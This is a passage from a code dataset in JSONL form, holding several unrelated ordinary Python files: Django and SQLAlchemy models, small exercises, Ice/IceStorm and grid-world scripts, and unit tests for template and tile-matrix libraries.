}\n\n\ndef build_url(request, pk, **kwargs):\n parent = kwargs.get('parent', None)\n url = request.build_absolute_uri(request.get_full_path())\n if parent:\n url = url.replace(f\"{parent.pk}/\", '')\n if re.search(r'/\\?', url):\n url = url.replace(re.search(r'\\?.*$', url)[0], '')\n if re.search(str(pk), url):\n return url\n return f\"{url}{pk}/\"\n\n\ndef get_field_translations(instance, field):\n ret = [('', getattr(instance, field))]\n for lang in ('sv', 'en', 'fi'):\n ret.append((lang, getattr(instance, '%s_%s' % (field, lang), '')))\n return ret","sub_path":"events/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"200598566","text":"import time\nimport datetime\nimport csv\n\ntemperature = 21.8\nhumidity = 41.4\npressure = 1014.7\naltitude = 35.26\n\nwhile True:\n outputFile = open('data.csv', 'a', newline='')\n outputWriter = csv.writer(outputFile)\n outputWriter.writerow([datetime.datetime.now(),temperature, humidity, pressure, altitude])\n outputFile.close()\n time.sleep(5)\n","sub_path":"src/spike.py","file_name":"spike.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"265035539","text":"from random import uniform\n\nboletim = [\n [\n round(uniform(1, 10), 1) for _ in range(3)\n ]\n for _ in range(10)\n]\n\nlista = []\nfor st in boletim:\n lista.append(st.index(min(st)))\nprint(f'Nota 1 = {lista.count(0)} aluno(s)\\n'\n f'Nota 2 = {lista.count(1)} aluno(s)\\n'\n f'Nota 3 = {lista.count(2)} aluno(s)')","sub_path":"worst_grade.py","file_name":"worst_grade.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"591794687","text":"from django.db import models\nfrom django.conf import settings\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.contrib.auth.models import User\nfrom decimal import Decimal\nfrom allauth.account.models import EmailAddress\nfrom allauth.socialaccount.models import SocialAccount\nfrom utils.models import BaseUtilityModel\nfrom app.permissions import add_user_to_default_group\n\nimport hashlib\nimport uuid\n\n\nGENDER_CHOICES = (\n ('Male', 'Male'),\n ('Female', 'Female'),\n ('NA', 'Prefer not to answer'),\n)\n\n\nclass Identifier(models.Model):\n user = models.OneToOneField(settings.AUTH_USER_MODEL, related_name='identifier')\n key = models.TextField(default=uuid.uuid4, unique=True, db_index=True)\n\n\nclass UserProfile(BaseUtilityModel):\n user = models.OneToOneField(\n 'auth.User',\n related_name='profile_user',\n null=True\n )\n email = models.EmailField(\n blank=True,\n null=True,\n default='',\n unique=True,\n verbose_name='Email Address',\n db_index=True,\n help_text='The members email. This will act as their username'\n )\n first_name = models.TextField(\n blank=True,\n default='',\n verbose_name='First Name',\n db_index=True,\n help_text='The first name of the member'\n )\n last_name = models.TextField(\n blank=True,\n default='',\n verbose_name='Last Name',\n db_index=True,\n help_text='The last name of the member'\n )\n gender = models.TextField(\n choices=GENDER_CHOICES,\n blank=True,\n null=True\n )\n description = models.TextField(\n blank=True,\n default='',\n verbose_name='Profile Decription',\n help_text='User profile description'\n )\n profile_image = models.TextField(\n blank=True,\n default='',\n verbose_name='Profile Image'\n )\n phone_mobile = models.TextField(\n blank=True,\n null=True,\n verbose_name='Mobile Number'\n )\n address = models.ForeignKey(\n 'address.Address',\n related_name='profile_address',\n null=True\n )\n dob = models.DateField(\n blank=True,\n null=True\n )\n uuid = models.UUIDField(\n null=True,\n unique=True,\n db_index=True,\n help_text=\"Use to uniquely identify individual instance\"\n )\n\n def __str__(self):\n return '%s %s' % (self.user.first_name, self.user.last_name)\n\n def __unicode__(self):\n return \"{}'s profile\".format(self.user.username)\n\n class Meta:\n verbose_name = 'user_profile'\n verbose_name_plural = 'user_profiles'\n\n def profile_image_url(self):\n \"\"\"\n Return the URL for the user's Facebook icon if the user is logged in via Facebook,\n otherwise return the user's Gravatar URL\n \"\"\"\n fb_uid = SocialAccount.objects.filter(user_id=self.user.id, provider='facebook')\n\n if len(fb_uid):\n return \"https://graph.facebook.com/{}/picture?width=40&height=40\".format(fb_uid[0].uid)\n\n return \"https://www.gravatar.com/avatar/{}?s=40\".format(\n hashlib.md5(self.user.email.encode('utf-8')).hexdigest())\n\n def account_verified(self):\n \"\"\"\n If the user is logged in and has verified his email address, return True,\n otherwise return False\n \"\"\"\n result = EmailAddress.objects.filter(email=self.user.email)\n if len(result):\n return result[0].verified\n return False\n \n # def get_aggregate_reputation(self):\n # count = 0\n # temp_sum = 0\n #\n # for rep_item in self.reputation.all():\n # if rep_item.aggregate_rating is not None:\n # count += 1\n # temp_sum += rep_item.aggregate_rating\n #\n # if count != 0:\n # return Decimal(temp_sum / count)\n # elif len(self.reputation.all()) < 1 or count == 0:\n # # other parts of the code treat `rep is None` as absence of rep instances\n # # a rep value of zero would equate to a counter party giving the lowest possible\n # # rating\n # return None\n \n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if self.pk is None:\n pass\n super(UserProfile, self).save()\n \n \nclass Account(BaseUtilityModel):\n user = models.ForeignKey(\n 'auth.User',\n null=True\n )\n reference = models.TextField(\n null=True,\n help_text=\"an easily quotable reference, users can supply if required\"\n )\n entity_type = models.TextField(\n null=True,\n choices=[\n ('individual', 'Individual'),\n ('company', 'Company')\n ]\n )\n uuid = models.UUIDField(\n null=True,\n unique=True,\n db_index=True,\n help_text=\"Use to uniquely identify individual quantity of product\"\n )\n trading_name = models.TextField(\n null=True\n )\n abn = models.CharField(\n null=True,\n max_length=9\n )\n billing_address = models.ForeignKey(\n 'address.Address',\n null=True,\n related_name='billing_address'\n )\n shipping_address = models.ManyToManyField(\n 'address.Address',\n related_name='shipping_address',\n help_text=\"users can save as many shipping addresses as they want\"\n )\n phone1 = models.TextField(\n null=True\n )\n phone2 = models.TextField(\n null=True\n )\n email1 = models.EmailField(\n null=True\n )\n email2 = models.EmailField(\n null=True\n )\n fax = models.TextField(\n null=True\n )\n account_reputation = models.DecimalField(\n null=True,\n db_index=True,\n decimal_places=1,\n max_digits=4,\n help_text=\"field will calculate value on save of invoice obj\"\n \"saving this on the db will save an expensive calc in real time\"\n \"during the matching process\"\n )\n\n class Meta:\n verbose_name = 'Account'\n verbose_name_plural = 'Accounts'\n\n def __str__(self):\n return 'id: %s | %s' % (self.id, self.user.get_full_name())\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if self.pk is None:\n self.uuid = uuid.uuid4()\n super(Account, self).save()\n\n\nclass Reputation(BaseUtilityModel):\n account = models.ForeignKey(\n 'customer.Account',\n related_name='reputation_account',\n db_index=True,\n null=True\n )\n invoice = models.ForeignKey(\n 'transaction.Invoice',\n related_name='invoice_reputation',\n db_index=True,\n null=True\n )\n shipping = models.PositiveIntegerField(\n null=True,\n )\n payment = models.PositiveIntegerField(\n null=True,\n )\n communication = models.PositiveIntegerField(\n null=True,\n )\n product_quality = models.PositiveIntegerField(\n null=True,\n )\n product_description = models.PositiveIntegerField(\n null=True,\n )\n after_sales = models.PositiveIntegerField(\n null=True,\n )\n aggregate_rating = models.DecimalField(\n null=True,\n db_index=True,\n decimal_places=1,\n max_digits=4\n )\n\n class Meta:\n verbose_name = 'reputation'\n verbose_name_plural = 'repuation'\n\n def __str__(self):\n return 'reputation: %s out of 10' % self.aggregate_rating\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n count = 0\n temp_sum = 0\n for field in self._meta.get_fields():\n try:\n # content_type GenericForeignKey has no internal type\n internal_type = field.get_internal_type()\n except AttributeError:\n continue\n \n if internal_type is 'PositiveIntegerField':\n field_value = self.__getattribute__(field.name)\n \n if field_value is not None:\n count += 1\n temp_sum += field_value\n \n if count != 0:\n self.aggregate_rating = temp_sum / count\n \n if self.account is not None:\n self._calc_aggregate_reputation(account=self.account)\n \n super(Reputation, self).save()\n\n def _calc_aggregate_reputation(self, account=None):\n try:\n assert account is not None\n except AssertionError:\n AssertionError('Aggregate rep method called on rep instance save did not receive an account instance')\n \n try:\n assert isinstance(account, Account)\n except AssertionError:\n AssertionError('Aggregate rep method called on rep instance save did not receive an account instance')\n \n count = 0\n temp_sum = 0\n \n _rep_set = Reputation.objects.filter(account=account)\n if len(_rep_set) < 1:\n return None\n for rep_item in _rep_set:\n if rep_item.aggregate_rating is not None:\n count += 1\n temp_sum += rep_item.aggregate_rating\n \n if count == 0:\n # other parts of the code treat `rep is None` as absence of rep instances\n # a rep value of zero would equate to a counter party giving the lowest possible\n # rating\n return None\n elif count != 0:\n account.account_reputation = Decimal(temp_sum / count)\n super(Account, account).save()\n\n","sub_path":"customer/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"238468622","text":"# -*- coding: utf-8 -*-\nfrom flask_login import UserMixin\nfrom sqlalchemy import func\nfrom sqlalchemy import (Column, String, Integer, ForeignKey, DateTime, Text)\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.ext.declarative import declarative_base\n\n\nBase = declarative_base()\n\n\nclass CommonColumns(Base):\n __abstract__ = True\n __table_args__ = {\"schema\": \"btjlife\"}\n _created = Column(DateTime, default=func.now())\n _updated = Column(DateTime, default=func.now(), onupdate=func.now())\n _etag = Column(String(40))\n\n\nclass User(CommonColumns, UserMixin):\n __tablename__ = \"user\"\n _id = Column(String(100), primary_key=True)\n password = Column(String(2000))\n meta = relationship(\"UserMeta\")\n\n def get_id(self):\n return self._id\n\n\nclass UserMeta(CommonColumns):\n __tablename__ = \"user_meta\"\n _id = Column(Integer, primary_key=True)\n userid = Column(String(100), ForeignKey(\"btjlife.user._id\"))\n meta_key = Column(String(100))\n meta_value = Column(String(2000))\n\n\nclass Project(CommonColumns):\n __tablename__ = \"project\"\n _id = Column(Integer, primary_key=True)\n name = Column(String(100))\n description = Column(String(2000))\n owner = Column(String(100), ForeignKey(\"btjlife.user._id\"))\n tag = Column(String(8))\n meta = relationship(\"ProjectMeta\")\n\n\nclass ProjectMeta(CommonColumns):\n __tablename__ = \"project_meta\"\n _id = Column(Integer, primary_key=True)\n project_id = Column(Integer, ForeignKey(\"btjlife.project._id\"))\n meta_key = Column(String(100))\n meta_value = Column(String(2000))\n\n\nclass Record(CommonColumns):\n __tablename__ = \"record\"\n _id = Column(Integer, primary_key=True)\n project_id = Column(Integer, ForeignKey(\"btjlife.project._id\"))\n schema_id = Column(Integer, ForeignKey(\"btjlife.record_schema._id\"))\n parent_id = Column(Integer, ForeignKey(\"btjlife.record._id\"))\n comment = Column(String(2000))\n meta = relationship(\"RecordMeta\", order_by=\"RecordMeta.order\")\n\n\nclass RecordMeta(CommonColumns):\n __tablename__ = \"record_meta\"\n _id = Column(Integer, primary_key=True)\n record_id = Column(Integer, ForeignKey(\"btjlife.record._id\"))\n meta_key = Column(String(100))\n meta_value = Column(Text)\n order = Column(Integer)\n\n\nclass RecordSchema(CommonColumns):\n __tablename__ = \"record_schema\"\n _id = Column(Integer, primary_key=True)\n project_id = Column(Integer, ForeignKey(\"btjlife.project._id\"))\n fields = Column(Text)\n revision = Column(Integer)\n active = Column(Integer)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"616720179","text":"'''\n小龍參考叮叮利用 range 函式設計的數列程式,改進為可以計算數列的總和,只要輸入一個正整數,程式就會計算由 1 到該整數的總和。\n'''\ni = int(input(\"輸入一個數字:\"))\ny = 0 #先定義從零開始\n\nfor n in range (i):\n num = n + 1 \n y = num + y\n print(num)\n\nprint(\"加總等於\", y)\n","sub_path":"w4_a4.py","file_name":"w4_a4.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"173172403","text":"import os\nimport unittest\nfrom ..BaseTestCase import BaseTestCase\nfrom kombi.Template import Template\nfrom kombi.Template import TemplateRequiredPathNotFoundError, TemplateVarNotFoundError\nfrom kombi.Crawler.Fs import FsCrawler\n\nclass TemplateTest(BaseTestCase):\n \"\"\"Test Template crawler.\"\"\"\n\n __file = os.path.join(BaseTestCase.dataTestsDirectory(), 'RND-TST-SHT_lighting_beauty_sr.1001.exr')\n\n def testNestProcedureTemplateSimple(self):\n \"\"\"\n Test simple nested procedures in the template.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = \"/a/b/c/(dirname(dirname '/d/e/f'))/(newver )/{name}.(pad {frame} 6).{ext}\"\n result = Template(value).valueFromCrawler(crawler)\n self.assertEqual(\n os.path.normpath(result),\n os.path.normpath('/a/b/c/d/v001/RND-TST-SHT_lighting_beauty_sr.001001.exr')\n )\n\n def testNestProcedureTemplateSimpleWithQuote(self):\n \"\"\"\n Test simple nested procedures in the template.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = \"/a/b/c/(concat '(teste(bla - blaa))' '_foo')/(newver )/{name}.(pad {frame} 6).{ext}\"\n result = Template(value).valueFromCrawler(crawler)\n self.assertEqual(\n os.path.normpath(result),\n os.path.normpath('/a/b/c/(teste(bla - blaa))_foo/v001/RND-TST-SHT_lighting_beauty_sr.001001.exr')\n )\n\n def testNestProcedureTemplateMultiple(self):\n \"\"\"\n Test multiple nested procedures in the template.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = \"/a/b/c/(concat (dirname(dirname (dirname '/d/e/f/g'))) '_' (dirname (dirname {var})))/(newver )/{name}.(pad {frame} 6).{ext}\"\n result = Template(value).valueFromCrawler(\n crawler,\n extraVars={\n 'var': 'h/j/l'\n }\n )\n self.assertEqual(\n os.path.normpath(result),\n os.path.normpath('/a/b/c/d_h/v001/RND-TST-SHT_lighting_beauty_sr.001001.exr')\n )\n\n def testNestProcedureTemplateMultipleAssignToken(self):\n \"\"\"\n Test multiple nested procedures by assigning the result to a token in the template.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = \"/a/b/c/(concat (dirname(dirname (dirname '/d/e/f/g'))) '_' (dirname (dirname {var})) as )/(newver )/(concat '_' 'foo')/{name}.(pad {frame} 6).{ext}\"\n result = Template(value).valueFromCrawler(\n crawler,\n extraVars={\n 'var': 'h/j/l'\n }\n )\n self.assertEqual(\n os.path.normpath(result),\n os.path.normpath('/a/b/c/d_h/v001/d_h_foo/RND-TST-SHT_lighting_beauty_sr.001001.exr')\n )\n\n def testNestProcedureTemplateArithmetic(self):\n \"\"\"\n Test arithmetic nested procedures in the template.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = \"/a/b/c/({a} + (sum {b} 2))/(newver )/{name}.(pad {frame} 6).{ext}\"\n result = Template(value).valueFromCrawler(\n crawler,\n extraVars={\n 'a': 2,\n 'b': 3\n }\n )\n self.assertEqual(\n os.path.normpath(result),\n os.path.normpath('/a/b/c/7/v001/RND-TST-SHT_lighting_beauty_sr.001001.exr')\n )\n\n def testTemplate(self):\n \"\"\"\n Test that the Template works properly.\n \"\"\"\n crawler = FsCrawler.createFromPath(self.__file)\n value = '(dirname {filePath})/(newver )/{name}.(pad {frame} 6).{ext}'\n result = Template(value).valueFromCrawler(crawler)\n self.assertEqual(\n os.path.normpath(result),\n os.path.join(\n BaseTestCase.dataTestsDirectory(),\n 'v003',\n 'RND-TST-SHT_lighting_beauty_sr.001001.exr'\n )\n )\n\n def testArithmeticOperations(self):\n \"\"\"\n Test support for arithmetic operations.\n \"\"\"\n self.assertEqual(\n Template(\"/({x} + 10 as )/( - 10)/(4.0 / {y})\").value(\n {\n 'x': 5,\n 'y': 2\n }\n ),\n \"/15/5/2\"\n )\n\n def testSingleQuote(self):\n \"\"\"\n Test that the template can return a value with single quote.\n \"\"\"\n def __testSingleQuoteProcedure(*args):\n return ' '.join(args)\n Template.registerProcedure('testsinglequote', __testSingleQuoteProcedure)\n\n inputValue = \"my 'random\\' value'\"\n self.assertEqual(\n Template(\"/(testsinglequote {foo} '2' 3)/\").value({'foo': inputValue}),\n \"/{} 2 3/\".format(inputValue)\n )\n\n def testAssignToToken(self):\n \"\"\"\n Test that the template can assign the return of procedure to a token.\n \"\"\"\n def __assignTokenResult(*args):\n return ' '.join(args)\n Template.registerProcedure('assigntokenresult', __assignTokenResult)\n\n self.assertEqual(\n Template(\"/(assigntokenresult foo as )/a/{someVar}/(assigntokenresult foo2 as )__x_{someVar}_x_/b//c/_{someVar}\").value({'someVar': 'var'}),\n \"/foo/a/var/foo2_foo_x_var_x_foo2/b/foo/c/foo2_var\"\n )\n\n def testTemplateRequiredPath(self):\n \"\"\"\n Test that the required path check works.\n \"\"\"\n value = '{}/!badPath/test.exr'.format(BaseTestCase.dataTestsDirectory())\n self.assertRaises(TemplateRequiredPathNotFoundError, Template(value).value)\n value = '{}/!glob'.format(BaseTestCase.dataTestsDirectory())\n result = Template(value).value()\n self.assertEqual(result, os.path.join(BaseTestCase.dataTestsDirectory(), 'glob'))\n\n def testTemplateVariable(self):\n \"\"\"\n Test that you can pass variables to the template properly.\n \"\"\"\n variables = {'otherVar': 'value'}\n self.assertRaises(TemplateVarNotFoundError, Template('{var}').value, variables)\n variables['var'] = 'test'\n self.assertEqual(Template('{var}').value(variables), 'test')\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test/Template/TemplateTest.py","file_name":"TemplateTest.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"348968835","text":"#!/usr/bin/python3 -u\n# -*- coding: utf-8 -*-\n\nimport sys\nimport Ice\nimport IceStorm\nIce.loadSlice('Printer.ice')\nimport Example\n\n\nclass PrinterI(Example.Printer):\n def write(self, message, current=None):\n print(\"Event received: {0}\".format(message))\n sys.stdout.flush()\n\n\nclass Subscriber(Ice.Application):\n def get_topic_manager(self):\n key = 'IceStorm.TopicManager.Proxy'\n proxy = self.communicator().propertyToProxy(key)\n if proxy is None:\n print(\"property '{}' not set\".format(key))\n return None\n\n print(\"Using IceStorm in: '%s'\" % key)\n return IceStorm.TopicManagerPrx.checkedCast(proxy)\n\n def run(self, argv):\n topic_mgr = self.get_topic_manager()\n if not topic_mgr:\n print(\"Invalid proxy\")\n return 2\n\n ic = self.communicator()\n servant = PrinterI()\n adapter = ic.createObjectAdapter(\"PrinterAdapter\")\n subscriber = adapter.addWithUUID(servant)\n\n topic_name = \"PrinterTopic\"\n qos = {}\n try:\n topic = topic_mgr.retrieve(topic_name)\n except IceStorm.NoSuchTopic:\n topic = topic_mgr.create(topic_name)\n\n topic.subscribeAndGetPublisher(qos, subscriber)\n print(\"Waiting events... '{}'\".format(subscriber))\n\n adapter.activate()\n self.shutdownOnInterrupt()\n ic.waitForShutdown()\n\n topic.unsubscribe(subscriber)\n\n return 0\n\n\nsys.exit(Subscriber().main(sys.argv))\n","sub_path":"py-icestorm/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"585826960","text":"#this PDworld contatins the world as 2, 2d arrays, for agent carrrying and not carrying a block\n\nclass Node:\n #x, y is position, isPickUp/DropOff refer to is a pick or drop off location, block count is how many block is in the node\n #update them if they are assigned to be a pick up or drop off\n def __init__(self):\n self.isPickUp = False\n self.isDropOff = False\n self.blockCount = 0\n self.qNorth = 0\n self.qEast = 0\n self.qSouth = 0\n self.qWest = 0\n\n#a set of function that checks and apply opeorator to the world\n def pickUpAblock(self):\n if(self.isPickUp and self.blockCount > 0):\n self.blockCount -= 1\n\n def canPickUpBlock(self) -> bool:\n if (self.isPickUp and self.blockCount > 0):\n return True\n else:\n return False\n\n\n def dropOffBlock(self):\n if(self.isDropOff and self.blockCount < 5):\n self.blockCount += 1\n\n def canDropOffBlock(self) -> bool:\n if(self.isDropOff and self.blockCount < 5):\n return True\n else:\n return False\n\nclass World:\n # this initialize the map for the class\n\n #this method the world, with pickup and drop off location set\n def __init__(self):\n cols = 5\n rows = 5\n self.map = [[Node() for j in range(cols)] for i in range(rows)]\n\n self.setPickUp(0, 0)\n self.setPickUp(2, 2)\n self.setPickUp(4, 4)\n\n self.setDropOff(0, 4)\n self.setDropOff(2, 4)\n self.setDropOff(4, 1)\n\n\n #set block as pickUpBlock\n def setPickUp(self, x, y):\n self.map[x][y].isPickUp = True\n self.map[x][y].blockCount = 5\n #set block as dropOffBlock\n def setDropOff(self, x, y):\n self.map[x][y].isDropOff = True\n\n def printWorld(self):\n for x in range(0, 5):\n for y in range(0, 5):\n print(\"Location: \" + str(x) + \" \" + str(y))\n print(\"North: \" + str(self.map[x][y].qNorth) + \" \" + \"East: \" + str(self.map[x][y].qEast) + \" \" + \"South: \" + str(self.map[x][y].qSouth) + \" \" + \"West: \" + str(self.map[x][y].qWest))\n\n #this mothod checks if all pickup have package in rither pickup or dropoff\n def isCompleteDelevery(self) -> bool:\n for x in range(0, 5):\n for y in range(0, 5):\n if(self.map[x][y].isPickUp and self.map[x][y].blockCount > 0):\n return False\n elif(self.map[x][y].isDropOff and self.map[x][y].blockCount < 5):\n return False\n\n #if all pickup have 0 block or all dropoff have 5, return True\n return True\n\n #this moethod invert pick up and drop off on a map.\n def invertPickUpDropOff(self):\n for x in range(0, 5):\n for y in range(0, 5):\n if(self.map[x][y].isPickUp):\n self.map[x][y].isPickUp = False\n self.map[x][y].isDropOff = True\n self.map[x][y].blockCount = 0\n\n elif(self.map[x][y].isDropOff):\n self.map[x][y].isDropOff = False\n self.map[x][y].isPickUp = True\n self.map[x][y].blockCount = 5\n\n #map reset on\n def mapReset(self):\n for x in range(0, 5):\n for y in range(0, 5):\n if (self.map[x][y].isPickUp):\n self.map[x][y].blockCount = 5\n elif (self.map[x][y].isDropOff):\n self.map[x][y].blockCount = 0\n\n #update world2's blockcount on all nodes to world1\n def worldUpdate(self, world1, world2):\n for x in range(0, 5):\n for y in range(0, 5):\n world2.map[x][y].blockCount = world1.map[x][y].blockCount\n","sub_path":"Project/PDWorld.py","file_name":"PDWorld.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"393632212","text":"\"\"\"Test TileMatrixSet model.\"\"\"\n\nimport json\nimport os\nimport random\nfrom collections.abc import Iterable\n\nimport pytest\nfrom pydantic import ValidationError\nfrom rasterio.crs import CRS\n\nimport morecantile\nfrom morecantile.errors import InvalidIdentifier\nfrom morecantile.models import TileMatrix, TileMatrixSet\n\ndata_dir = os.path.join(os.path.dirname(__file__), \"../morecantile/data\")\ntilesets = [\n os.path.join(data_dir, f) for f in os.listdir(data_dir) if f.endswith(\".json\")\n]\n\n\n@pytest.mark.parametrize(\"tileset\", tilesets)\ndef test_tile_matrix_set(tileset):\n \"\"\"Load TileMatrixSet in models.\"\"\"\n # Confirm model validation is working\n ts = TileMatrixSet.parse_file(tileset)\n # This would fail if `supportedCRS` isn't supported by GDAL/Rasterio\n epsg = ts.crs\n isinstance(epsg, CRS)\n\n\ndef test_tile_matrix_iter():\n \"\"\"Test iterator\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n assert isinstance(tms, Iterable)\n for matrix in tms:\n assert isinstance(matrix, TileMatrix)\n\n\ndef test_tile_matrix_order():\n \"\"\"Test matrix order\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n matrices = tms.tileMatrix[:]\n random.shuffle(matrices)\n tms_ordered = TileMatrixSet(\n title=tms.title,\n identifier=tms.identifier,\n supportedCRS=tms.supportedCRS,\n tileMatrix=matrices,\n )\n # Confirm sort\n assert [matrix.identifier for matrix in tms.tileMatrix] == [\n matrix.identifier for matrix in tms_ordered.tileMatrix\n ]\n\n # Confirm sort direction\n assert int(tms_ordered.tileMatrix[-1].identifier) > int(\n tms_ordered.tileMatrix[0].identifier\n )\n\n\ndef test_tile_matrix():\n variable_matrix = {\n \"type\": \"TileMatrixType\",\n \"identifier\": \"3\",\n \"scaleDenominator\": 34942641.5017948,\n \"topLeftCorner\": [-180, 90],\n \"tileWidth\": 256,\n \"tileHeight\": 256,\n \"matrixWidth\": 16,\n \"matrixHeight\": 8,\n \"variableMatrixWidth\": [\n {\n \"type\": \"VariableMatrixWidthType\",\n \"coalesce\": 2,\n \"minTileRow\": 0,\n \"maxTileRow\": 0,\n },\n {\n \"type\": \"VariableMatrixWidthType\",\n \"coalesce\": 2,\n \"minTileRow\": 3,\n \"maxTileRow\": 3,\n },\n ],\n }\n with pytest.raises(ValidationError):\n TileMatrix(**variable_matrix)\n\n\ndef test_load():\n \"\"\"Should raise an error when file not found.\"\"\"\n with pytest.warns(DeprecationWarning):\n TileMatrixSet.load(\"WebMercatorQuad\")\n\n with pytest.raises(InvalidIdentifier):\n TileMatrixSet.load(\"ANotValidName\")\n\n\ndef test_findMatrix():\n \"\"\"Should raise an error when TileMatrix is not found.\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n m = tms.matrix(0)\n assert m.identifier == \"0\"\n\n with pytest.warns(UserWarning):\n tms.matrix(26)\n\n\ndef test_Custom():\n \"\"\"Create custom TMS grid.\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n\n # Web Mercator Extent\n extent = (-20037508.3427892, -20037508.3427892, 20037508.3427892, 20037508.3427892)\n custom_tms = TileMatrixSet.custom(extent, CRS.from_epsg(3857))\n\n assert tms.tile(20.0, 15.0, 5) == custom_tms.tile(20.0, 15.0, 5)\n\n wmMat = tms.matrix(5)\n cusMat = custom_tms.matrix(5)\n assert wmMat.matrixWidth == cusMat.matrixWidth\n assert wmMat.matrixHeight == cusMat.matrixHeight\n assert round(wmMat.scaleDenominator, 6) == round(cusMat.scaleDenominator, 6)\n assert round(wmMat.topLeftCorner[0], 6) == round(cusMat.topLeftCorner[0], 6)\n\n extent = (-180.0, -85.051128779806, 180.0, 85.051128779806)\n custom_tms = TileMatrixSet.custom(\n extent, CRS.from_epsg(3857), extent_crs=CRS.from_epsg(4326)\n )\n\n assert tms.tile(20.0, 15.0, 5) == custom_tms.tile(20.0, 15.0, 5)\n\n wmMat = tms.matrix(5)\n cusMat = custom_tms.matrix(5)\n assert wmMat.matrixWidth == cusMat.matrixWidth\n assert wmMat.matrixHeight == cusMat.matrixHeight\n assert round(wmMat.scaleDenominator, 6) == round(cusMat.scaleDenominator, 6)\n assert round(wmMat.topLeftCorner[0], 6) == round(cusMat.topLeftCorner[0], 6)\n\n\ndef test_InvertedLatLonGrids():\n \"\"\"Check Inverted LatLon grids.\"\"\"\n tms = morecantile.tms.get(\"NZTM2000\")\n bound = tms.xy_bounds(morecantile.Tile(1, 2, 0))\n assert bound == (1293760.0, 3118720.0, 3587520.0, 5412480.0)\n assert tms.xy_bbox == (274000.0, 3087000.0, 3327000.0, 7173000.0)\n\n tms = morecantile.tms.get(\"LINZAntarticaMapTilegrid\")\n assert tms.xy_bbox == (\n -918457.73,\n -22441670.269999996,\n 28441670.269999996,\n 6918457.73,\n )\n\n\ndef test_zoom_for_res():\n \"\"\"Get TMS zoom level corresponding to a specific resolution.\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n\n # native resolution of zoom 7 is 1222.9924525628178\n # native resolution of zoom 8 is 611.4962262814075\n assert tms.zoom_for_res(612.0) == 8\n assert tms.zoom_for_res(612.0, zoom_level_strategy=\"lower\") == 7\n assert tms.zoom_for_res(612.0, zoom_level_strategy=\"upper\") == 8\n\n assert tms.zoom_for_res(610.0) == 8\n\n # native resolution of zoom 24 is 0.009330691929342784\n assert tms.zoom_for_res(0.0001) == 24\n\n # theoritical resolution of zoom 25 is 0.004665345964671392\n with pytest.warns(UserWarning):\n assert tms.zoom_for_res(0.0001, max_z=25) == 25\n\n\ndef test_schema():\n \"\"\"Translate Model to Schema.\"\"\"\n tms = morecantile.tms.get(\"WebMercatorQuad\")\n assert tms.schema()\n assert tms.schema_json()\n assert tms.json(exclude_none=True)\n assert tms.dict(exclude_none=True)\n\n crs = CRS.from_proj4(\n \"+proj=stere +lat_0=90 +lon_0=0 +k=2 +x_0=0 +y_0=0 +R=3396190 +units=m +no_defs\"\n )\n extent = [-13584760.000, -13585240.000, 13585240.000, 13584760.000]\n tms = morecantile.TileMatrixSet.custom(extent, crs, identifier=\"MarsNPolek2MOLA5k\")\n assert tms.schema()\n assert tms.schema_json()\n assert tms.dict(exclude_none=True)\n json_doc = json.loads(tms.json(exclude_none=True))\n # We cannot translate PROJ4 to epsg so it's set to None\n assert json_doc[\"supportedCRS\"] == \"http://www.opengis.net/def/crs/EPSG/0/None\"\n\n crs = CRS.from_epsg(3031)\n extent = [-948.75, -543592.47, 5817.41, -3333128.95] # From https:///epsg.io/3031\n tms = morecantile.TileMatrixSet.custom(\n extent, crs, identifier=\"MyCustomTmsEPSG3031\"\n )\n assert tms.schema()\n assert tms.schema_json()\n assert tms.json(exclude_none=True)\n json_doc = json.loads(tms.json(exclude_none=True))\n assert json_doc[\"supportedCRS\"] == \"http://www.opengis.net/def/crs/EPSG/0/3031\"\n","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":6686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"606394829","text":"class Solution(object):\n def create_dic(self,char):\n d={}\n for i in char:\n if i not in d:\n d[i]=1\n else:\n d[i]+=1\n return d\n \n def countCharacters(self, words, chars):\n \"\"\"\n :type words: List[str]\n :type chars: str\n :rtype: 